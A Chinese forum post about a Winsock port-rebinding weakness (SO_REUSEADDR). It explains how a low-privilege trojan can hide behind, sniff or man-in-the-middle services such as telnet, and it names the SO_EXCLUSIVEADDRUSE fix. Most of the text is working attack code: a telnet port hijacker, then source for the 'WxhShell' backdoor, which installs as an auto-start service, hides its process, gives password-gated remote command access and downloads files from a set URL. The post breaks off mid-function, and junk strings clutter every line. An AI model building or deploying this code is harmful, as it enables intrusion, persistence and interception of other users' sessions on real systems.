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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?B32,AS@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xmny(j)g  
%#7 ]  
  saddr.sin_family = AF_INET; "}Oj N\  
y9U*E80q{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ghf/IXq#  
~ugyUpY"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aY8QYK ;?^  
/Ue_1Efa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GR,gCtG+L  
jn]:*i;i  
  这意味着什么?意味着可以进行如下的攻击: jPIOBEIG  
GZ1c~uAu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &{e:6t  
PfN[)s4F{R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ':d9FzGKa  
cGM?r}zJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O0_kLH$.  
2TccIv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  TCI)L}L|  
4N(iow4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Dqg01_O9O  
OrY^?E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %CV.xDE8  
rI#,FZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cU_:l.b  
duV\Kt/g^  
  #include 4?33t] "  
  #include HSj=g}r  
  #include DQ.;2W  
  #include    z P8rW5/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q uL+UFuM  
  int main() 7r{159&=  
  { |wM<n  
  WORD wVersionRequested; 6<o2 0(?  
  DWORD ret; 8}Cp(z2  
  WSADATA wsaData; AhU   
  BOOL val; CHckmCgf4  
  SOCKADDR_IN saddr; AOM@~qyc   
  SOCKADDR_IN scaddr; tjJi|  
  int err; av"dJm  
  SOCKET s; |t6:4']  
  SOCKET sc; z7!@^!r  
  int caddsize; q0*d*j F0u  
  HANDLE mt; F;8Uvj  
  DWORD tid;   G2yQHTbl  
  wVersionRequested = MAKEWORD( 2, 2 ); H~; s$!lG  
  err = WSAStartup( wVersionRequested, &wsaData ); }qg.Go  
  if ( err != 0 ) { m](q,65 2  
  printf("error!WSAStartup failed!\n"); #k t+ )>  
  return -1; =JE5/  
  } /s Bs eI  
  saddr.sin_family = AF_INET; XP(fWRT1  
   \:jJ{bl^A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `zOn(6B;U  
-Mzm~@_s]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &?*H`5#?G  
  saddr.sin_port = htons(23); i#I7ncX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hQ}y(2A.XI  
  { '3]M1EP  
  printf("error!socket failed!\n"); RG6U~o1  
  return -1; M.K%;j`  
  } ;Dp<|n  
  val = TRUE; r*g<A2g%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /DX6Hkkj%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "b[w%KYyl  
  { O4oI&i 7  
  printf("error!setsockopt failed!\n"); nEgYypwr  
  return -1; t_hr${  
  } ^Is#_Z|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z$y~:bz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $O9,Gvnxx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FvVM}l'  
% U|4%P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [orS-H7^  
  { )\+1*R|H}  
  ret=GetLastError(); "H|hN  
  printf("error!bind failed!\n"); #@:GLmD%  
  return -1; (%)<jg1  
  } evlz R/  
  listen(s,2); ?sc lOOh  
  while(1) z4rg.ai  
  { P( 1Z  
  caddsize = sizeof(scaddr); ;v m$F251  
  //接受连接请求 [&+5E1%L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S8Yti  
  if(sc!=INVALID_SOCKET) M,g$  
  { EttQ<z_T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ; mwU>l,4  
  if(mt==NULL) -J^t#R^$`  
  { s!?T$@a=  
  printf("Thread Creat Failed!\n"); lr9s`>9  
  break; v4VP7h6uD)  
  } z K6'wL!!I  
  } }TG=ZVi  
  CloseHandle(mt); !h>aP4ofT  
  } sEx`9_oZ  
  closesocket(s); /^':5"=o  
  WSACleanup(); %Wa. 2s  
  return 0; _$m1?DZ  
  }   XX'mM v  
  DWORD WINAPI ClientThread(LPVOID lpParam) `J-&Y2_/k  
  { %YwIR.o  
  SOCKET ss = (SOCKET)lpParam; G$E+qk nJL  
  SOCKET sc; }5=tUfh)]'  
  unsigned char buf[4096]; li&&[=6A  
  SOCKADDR_IN saddr; ?y2v?h"  
  long num; OFn#C!  
  DWORD val; d[y(u<Vl  
  DWORD ret; 5^C.}/#>F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O_^;wey0}?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   frUO+  
  saddr.sin_family = AF_INET; nE=,=K~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A;gU@8m  
  saddr.sin_port = htons(23); e2"gzZ4;g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) et}%E9  
  { i7foZ\btFc  
  printf("error!socket failed!\n"); kGW4kuh)/q  
  return -1; /yFs$t >9  
  } DgKe!w$  
  val = 100; 6Jd.Eg ~A7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 17+2`@vJgM  
  { hi^t zpy  
  ret = GetLastError(); e#s-MK-Q  
  return -1; ab^>_xD<  
  } -}9>#<v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~ }?*v}  
  { X^)v ZL?  
  ret = GetLastError(); `-[|@QNFz  
  return -1; YxWA] yL  
  } @]@6(To  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0tEe $9eK@  
  { *#7]PA Qw  
  printf("error!socket connect failed!\n"); ~JG\b?s  
  closesocket(sc); |yVveJ  
  closesocket(ss); >M^4p   
  return -1; .{4U]a;[  
  } #pr{tL  
  while(1) !+T29QYK8  
  { OpFm:j3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lFbf9s:$B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L% `lC]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !uSG 1j" y  
  num = recv(ss,buf,4096,0); 'ARbJ1a  
  if(num>0) D\k'Eez  
  send(sc,buf,num,0); OtZc;c  
  else if(num==0) ;ji[ "b  
  break; r"&VG2c0K  
  num = recv(sc,buf,4096,0); % jSB9  
  if(num>0) UzT"Rb:e  
  send(ss,buf,num,0); DgODTxiX  
  else if(num==0) N~+ e\K6  
  break; < m/@_"  
  } 10{zF_9yx  
  closesocket(ss); KYR64[1  
  closesocket(sc); :Hq#co  
  return 0 ; `w EAU7m:  
  } Z Z9D6+R  
=p>IP"HJ  
`} S; _g!  
========================================================== 9_xJT^10  
h Nx#x  
下边附上一个代码,,WXhSHELL J3c8WS{:  
o+F < r#  
========================================================== 1`)e}p&  
+\U#:gmw  
#include "stdafx.h" ]La~Bh6;m  
 &sg~owz  
#include <stdio.h> !dGSZ|YZ  
#include <string.h> =H;F{J "  
#include <windows.h> SYwB #|  
#include <winsock2.h> fzZ`O{$8  
#include <winsvc.h> jW;g{5X  
#include <urlmon.h> Pd04  
].HHTCD`c  
#pragma comment (lib, "Ws2_32.lib") cjwc:3 CM  
#pragma comment (lib, "urlmon.lib") raJv$P  
RiiwsnjC  
#define MAX_USER   100 // 最大客户端连接数 'w?}~D.y  
#define BUF_SOCK   200 // sock buffer ?g9oiOhnG  
#define KEY_BUFF   255 // 输入 buffer 'g:.&4x_w  
0bl8J5Ar5  
#define REBOOT     0   // 重启 D.*o^{w|  
#define SHUTDOWN   1   // 关机 k nljc^  
u{5+hZ  
#define DEF_PORT   5000 // 监听端口 QE+HL8c^s  
L~{3W  
#define REG_LEN     16   // 注册表键长度 W]I+Rlv)U  
#define SVC_LEN     80   // NT服务名长度 $L W8 vo7  
I6Ga'5bV  
// 从dll定义API #83pitcc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q!AcM d\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p mUG`8SY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vbEO pYCS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %/w%A:y#&  
Ni>!b6 Z`[  
// wxhshell配置信息 w@x||K=Z  
struct WSCFG { v,d'SR.  
  int ws_port;         // 监听端口 /wU4^8Hz  
  char ws_passstr[REG_LEN]; // 口令 :: s k)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0SV4p.  
  char ws_regname[REG_LEN]; // 注册表键名 "Pa  y2  
  char ws_svcname[REG_LEN]; // 服务名 7mA:~-.u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r<5i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y|cj&<o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gN .n _!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 47!k!cHa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ogu";p(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %r]V:d+  
e#!p6+#"  
}; YnlZyw!  
S|r,RBeZ  
// default Wxhshell configuration =w ! 6un  
struct WSCFG wscfg={DEF_PORT, ou=33}uO  
    "xuhuanlingzhe", 5Kl;(0B9  
    1, sB wzb  
    "Wxhshell", .4[M7)  
    "Wxhshell", D[dI_|59a  
            "WxhShell Service", ]JH Int  
    "Wrsky Windows CmdShell Service", } p `A>  
    "Please Input Your Password: ", jIck!  
  1, S,f:nLT  
  "http://www.wrsky.com/wxhshell.exe", ?*&5`Xh  
  "Wxhshell.exe" Yc^,Cj{OM  
    }; ,c|Ai(U  
EbnV"]1  
// 消息定义模块 <=]:ED $V@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )yUSuK(Vu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 95sK;`rE+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `JcWH_[  
char *msg_ws_ext="\n\rExit."; xM?tdQ~VHY  
char *msg_ws_end="\n\rQuit."; 6 -BC/  
char *msg_ws_boot="\n\rReboot..."; ^#]eCXv  
char *msg_ws_poff="\n\rShutdown..."; soh9Oedml-  
char *msg_ws_down="\n\rSave to "; ZG( Pz9{K  
cnB:bQQK8  
char *msg_ws_err="\n\rErr!"; kL"Y>@H  
char *msg_ws_ok="\n\rOK!"; %R  P\,|  
]/7#[  
char ExeFile[MAX_PATH]; 10CRgrZ  
int nUser = 0; F#a'N c9  
HANDLE handles[MAX_USER]; }pKKNZ`[  
int OsIsNt; R%6KxN)+@  
GHpP *x  
SERVICE_STATUS       serviceStatus; ]v#T9QQN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bo0f`EC I  
Cy6%f?j  
// 函数声明 %7 $X *  
int Install(void); X'p%K/-m  
int Uninstall(void); NUh+ &M  
int DownloadFile(char *sURL, SOCKET wsh); ?hKpJA'%  
int Boot(int flag); 03gYl0B  
void HideProc(void); * BKIA  
int GetOsVer(void); VjJ}q*/3e  
int Wxhshell(SOCKET wsl); |eK^Yhym  
void TalkWithClient(void *cs); wQYW5X  
int CmdShell(SOCKET sock); l:*.0Tj  
int StartFromService(void); -'T^gEd) c  
int StartWxhshell(LPSTR lpCmdLine); C?g<P0h  
-nY_.fp>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uOPLJ?%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8aTo TA7JA  
\f'=  
// 数据结构和表定义 ijmGk:L(  
SERVICE_TABLE_ENTRY DispatchTable[] = _|7bpt9  
{ mXI'=Vo!S  
{wscfg.ws_svcname, NTServiceMain}, \hP.Q;"MtO  
{NULL, NULL} {T3~js   
}; 7GRPPh<4  
a}[rk*QmZ  
// 自我安装 M/kBAxNIC|  
int Install(void) iUlSRfrC$#  
{ q^6l`JJ  
  char svExeFile[MAX_PATH]; x!fgZr{  
  HKEY key; Esf\Bo"  
  strcpy(svExeFile,ExeFile); T=':$(t  
gw<u dhk  
// 如果是win9x系统,修改注册表设为自启动 P>'29$1'  
if(!OsIsNt) { lQpl8>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D&1(qi=x&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]xPy-j6C  
  RegCloseKey(key); ^G NL:D%6d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 36}&{A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V0xO:7G^  
  RegCloseKey(key); EAoq2_(`a  
  return 0; j:U6q,f]  
    } =nv/ r  
  } \pXo~;E\  
} *mn"G K6  
else { 7=a e^GKo  
_% i!LyG  
// 如果是NT以上系统,安装为系统服务 E+J+fi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (?ZS 9&y}  
if (schSCManager!=0) Tj6kCB  
{ p5J!j I=  
  SC_HANDLE schService = CreateService 95Q^7oI  
  ( ,3Nna:~f  
  schSCManager, ?;ZnD(4?  
  wscfg.ws_svcname, $`<-;kI  
  wscfg.ws_svcdisp, !*o{xq   
  SERVICE_ALL_ACCESS, { }P~nP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w`[`:H_z  
  SERVICE_AUTO_START, 5 Q,j+  
  SERVICE_ERROR_NORMAL, 9>;CvR  
  svExeFile, &t}6sD9o  
  NULL, &}d5'IRT  
  NULL, Y)7\h:LIg  
  NULL, I2z6iT4nB  
  NULL, $?u LFD  
  NULL oG c9 6B%  
  ); " Rn@yZV  
  if (schService!=0) UQjYWXvi  
  { pW_mS|  
  CloseServiceHandle(schService); *A0*.>@N  
  CloseServiceHandle(schSCManager); `E |>K\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b{;LbHq+G  
  strcat(svExeFile,wscfg.ws_svcname); $Km~x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x M{SFF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7{38g  
  RegCloseKey(key); iyr<qtwK  
  return 0; U "v=XK)!  
    } M|7][! <G!  
  } U5[r&Y D  
  CloseServiceHandle(schSCManager); py6O\` \  
} gps.  
} # ELYPp]6  
%- Ga  ^[  
return 1; _O&P!hI  
} G$2Pny<!  
TWdhl9Ot  
// 自我卸载 Tn?D~?a*O  
int Uninstall(void) Z9i~>k  
{ e^v\K[  
  HKEY key; #JR$RH  
`bWc<4T  
if(!OsIsNt) { @{ L|&Mk!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bjq.nn<=  
  RegDeleteValue(key,wscfg.ws_regname); o)8VJ\ &  
  RegCloseKey(key); kArF Gb2c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O;.DQ  
  RegDeleteValue(key,wscfg.ws_regname); " "S&zN  
  RegCloseKey(key); B5[As8Sa  
  return 0; M-(,*6Q  
  } 1jd.tup  
} %yK- Q,'O  
} _)6r@fZ.p  
else { r(<91~Ww  
3gv?rJV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r9p ((ir  
if (schSCManager!=0) I_|W'%N]  
{ &_' evZ8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V!s#xXD}  
  if (schService!=0) n>,? V3ly  
  { f/{ClP.  
  if(DeleteService(schService)!=0) { f'Rq#b@  
  CloseServiceHandle(schService); CIz_v.&:  
  CloseServiceHandle(schSCManager); &UAYYH  
  return 0; HcpAp]L)  
  } $5@[l5cJU;  
  CloseServiceHandle(schService); ]ClqX;'weJ  
  } y2nT)nL  
  CloseServiceHandle(schSCManager); ]'Gz~Z%>F  
} K{XE|g  
} Mtn{63cK  
uJa.]J~L=  
return 1; p{&o{+c  
} K14v6d  
+9M";'\c  
// 从指定url下载文件 \b#`Ahf`  
int DownloadFile(char *sURL, SOCKET wsh) Th4}$)yrkN  
{ k<RaC=   
  HRESULT hr; `:d\L H  
char seps[]= "/"; I0G[K~gb  
char *token; \)W Z D  
char *file; zek>]l`!  
char myURL[MAX_PATH]; oAv LSFn  
char myFILE[MAX_PATH]; eTI?Mu>C  
~SI G0U8  
strcpy(myURL,sURL); ;8b!T -K  
  token=strtok(myURL,seps); 3!8u  
  while(token!=NULL) $5DlCN  
  { M2nUY`%#v  
    file=token; w`atk=K  
  token=strtok(NULL,seps); L#fK ,r8  
  } mNJCV8 <  
6UU<:KH  
GetCurrentDirectory(MAX_PATH,myFILE); I(j$^DA.  
strcat(myFILE, "\\"); >|mZu)HIY;  
strcat(myFILE, file); 8Ep!  
  send(wsh,myFILE,strlen(myFILE),0); 3teP6|K'g  
send(wsh,"...",3,0); ~DS.b-E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v3wq-  
  if(hr==S_OK) | g"K7XfM4  
return 0; ED>P>Gg  
else 'Jd*r(2d  
return 1; 5+t$4N+P  
%0'7J@W  
} {D8yqO A}  
Ged} qXn  
// 系统电源模块 #Fkp6`Q$x  
int Boot(int flag) <&tdyAT?&  
{ E0.o/3Gw6  
  HANDLE hToken; -*qoF(/U  
  TOKEN_PRIVILEGES tkp; <KX+j,4  
K1p.{  
  if(OsIsNt) { :mt<]Oy3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i"mQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sAnb   
    tkp.PrivilegeCount = 1; u[nLrEnD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^OK;swDW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i;\n\p1  
if(flag==REBOOT) { orAr3`AR3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c7nbHJi  
  return 0; GE=PaYz  
} >[Tt'.S!?  
else { RL*b4 7,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wM}AWmH  
  return 0; Kd*=-  
} [rz5tfMp  
  } z&\N^tBv  
  else { Y/ %XkDC~  
if(flag==REBOOT) { TY?O$d2b3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  m=a^t  
  return 0; a'O-0]g,  
} JW"n#sR4  
else { c GyBml1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tRNMiU  
  return 0; TgKSE1  
} V;hO1xfR3&  
} Uy@:-NC)kn  
z`,dEGfh^  
return 1; UK)wV  
} Uy?X-"UR  
55=YM'5]  
// win9x进程隐藏模块 &w:0ad|  
void HideProc(void) 3mL(xpT.8z  
{ lHE \Z`  
R0K{wY58  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cH707?p/I  
  if ( hKernel != NULL ) yE;S6 O  
  { :k2 J &@8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cv. j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m%c]+Our`  
    FreeLibrary(hKernel); 5x!rT&!G  
  } ): fu]s"  
<v?2p{U%  
return; =Z..&H5i  
} x@D> JG  
"BIhd*K[~  
// 获取操作系统版本 ]`|;ZQiD  
int GetOsVer(void) bD?gwhAKA  
{ 8t |?b  
  OSVERSIONINFO winfo; WkV0,_(P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ft~QVe!  
  GetVersionEx(&winfo); 'r1X6?d J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :_Iz( 2hV  
  return 1; u/xP$  
  else 2iC BF-,  
  return 0; <RcB: h  
} -h=wLYl@0i  
'@5 x=>  
// 客户端句柄模块 5?|y%YH;R\  
int Wxhshell(SOCKET wsl) %v UUx+  
{ 7| `_5e  
  SOCKET wsh; +-rSO"nc  
  struct sockaddr_in client; IsjN xBM  
  DWORD myID; rl-#Ez  
cfy9wD  
  while(nUser<MAX_USER) ]hRs -x  
{ L @J$kqWY  
  int nSize=sizeof(client); UJjtDV3@_g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UG]x CkDS  
  if(wsh==INVALID_SOCKET) return 1; uWi pjxS  
99n;%W>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M0hR]4T  
if(handles[nUser]==0) g!i45]6[Nw  
  closesocket(wsh); fw|t`mUGu  
else IDdu2HNu  
  nUser++; [ Scao $  
  } O%<+&Q7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ReGT*+UN  
3@* ~>H  
  return 0; Iz&d S?p_  
} ?"kU+tCxg  
W #kLM\2L  
// 关闭 socket 8E>2 6@.  
void CloseIt(SOCKET wsh) !/1 ~  
{ O#<S\66  
closesocket(wsh); y^D3}ds  
nUser--; Z=l2Po n  
ExitThread(0); WGo ryvEx  
} ?P}) Qa  
X>Z83qV5d!  
// 客户端请求句柄 I*pFX0+  
void TalkWithClient(void *cs) Z/;hbbG  
{ ;KG}Yr72  
"9Br )3  
  SOCKET wsh=(SOCKET)cs; YB4|J44Y  
  char pwd[SVC_LEN]; )&-n-m@E  
  char cmd[KEY_BUFF]; 3%u: c]-wF  
char chr[1]; VeH%E.:  
int i,j; .5tXwxad"  
W k"_lJ  
  while (nUser < MAX_USER) { ,t|_Nc  
MfA%Xep  
if(wscfg.ws_passstr) { `:2np{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kjr q;j:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J3'0^JP*  
  //ZeroMemory(pwd,KEY_BUFF); a;(,$q3M  
      i=0; ^}kYJvqA  
  while(i<SVC_LEN) { -:wV3D  
Vkqfs4t  
  // 设置超时 \2Kl]G(w%y  
  fd_set FdRead; aw7pr464  
  struct timeval TimeOut; {@s6ly].  
  FD_ZERO(&FdRead); bHzZ4i  
  FD_SET(wsh,&FdRead); "AIS6%,  
  TimeOut.tv_sec=8; d8WEsQ+)A  
  TimeOut.tv_usec=0; & fnfuU$   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RG/P]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z7Nhb{  
<!X]$kvG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5UQ[vHMqI  
  pwd=chr[0]; OQDx82E  
  if(chr[0]==0xd || chr[0]==0xa) { fL gHQ  
  pwd=0; YT@N$kOg_  
  break; ]ij:>O@{$  
  } 5yp  
  i++; E.yc"|n7l2  
    } Ae<;b Of  
}-&#vP~I  
  // 如果是非法用户,关闭 socket ^SS9BQ*m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^(:na6C  
} j>~ @vq  
(e<p^T J]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `2'*E\   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f&X M|Bg  
0b2;  
while(1) { 5'xZ9K  
^!O2Fw  
  ZeroMemory(cmd,KEY_BUFF); {Hw$`wL  
3>z+3!I z  
      // 自动支持客户端 telnet标准   uW,rmd  
  j=0; @!(V0-  
  while(j<KEY_BUFF) { L.a~vk 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ],wzZhA  
  cmd[j]=chr[0]; g$8a B{)  
  if(chr[0]==0xa || chr[0]==0xd) { "azrcC  
  cmd[j]=0; O)r>AdLGn  
  break; i^/ H>E%u  
  } [U{RDX  
  j++; 'b_SQ2+A  
    } S_Vquw(+  
eh3CVgH91;  
  // 下载文件 11JO[  
  if(strstr(cmd,"http://")) { a0  w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9(BB>o54r  
  if(DownloadFile(cmd,wsh)) o2LUB)=R'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Q.-WV]Z  
  else `=8G?3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ o5h}OU"  
  } `]<~lf  
  else { );^{;fLy%  
ralU9MN.  
    switch(cmd[0]) { hPUYq7B  
  \0l"9 B.  
  // 帮助 3<6P^p=I  
  case '?': { (' i_Xe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n\YWWW[wf  
    break; ;] #Q!  
  } N37#V s  
  // 安装 ~|e H8@o  
  case 'i': { 7JP.c@s  
    if(Install()) f=40_5a6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J_XbtCmt  
    else f&Meiu+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f/=H#'+8  
    break; ;[-y>qU0  
    } OH~I+=}.  
  // 卸载 m*TJ@gI*t  
  case 'r': { k12mxR/  
    if(Uninstall()) $h'>Zvf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 65pC#$F<x  
    else uvGFo)9q3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 82z<Q*YP  
    break; T<ekDhlr  
    } ]b@:?DX8  
  // 显示 wxhshell 所在路径 ((Wq  
  case 'p': { I4 4bm?[S  
    char svExeFile[MAX_PATH]; t`A5wqm  
    strcpy(svExeFile,"\n\r"); qd?k#Gw&  
      strcat(svExeFile,ExeFile); %5 ?0+~  
        send(wsh,svExeFile,strlen(svExeFile),0); h&?tF~h  
    break; HLDg_ On8  
    } _l.kbfp@  
  // 重启 e@{8G^o>D  
  case 'b': { L+" 5g@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9=;ETLL "  
    if(Boot(REBOOT)) w1|YR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hk;) l3oB  
    else { 9Vv&\m!0  
    closesocket(wsh); ?gOZY\[ma  
    ExitThread(0); ?QCHkhU  
    } <rFY$ ?x  
    break; c- ^\YSDMN  
    } s&zg!~@5b  
  // 关机 C$$lJ=>  
  case 'd': {  &+Pcu5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *HN0em  
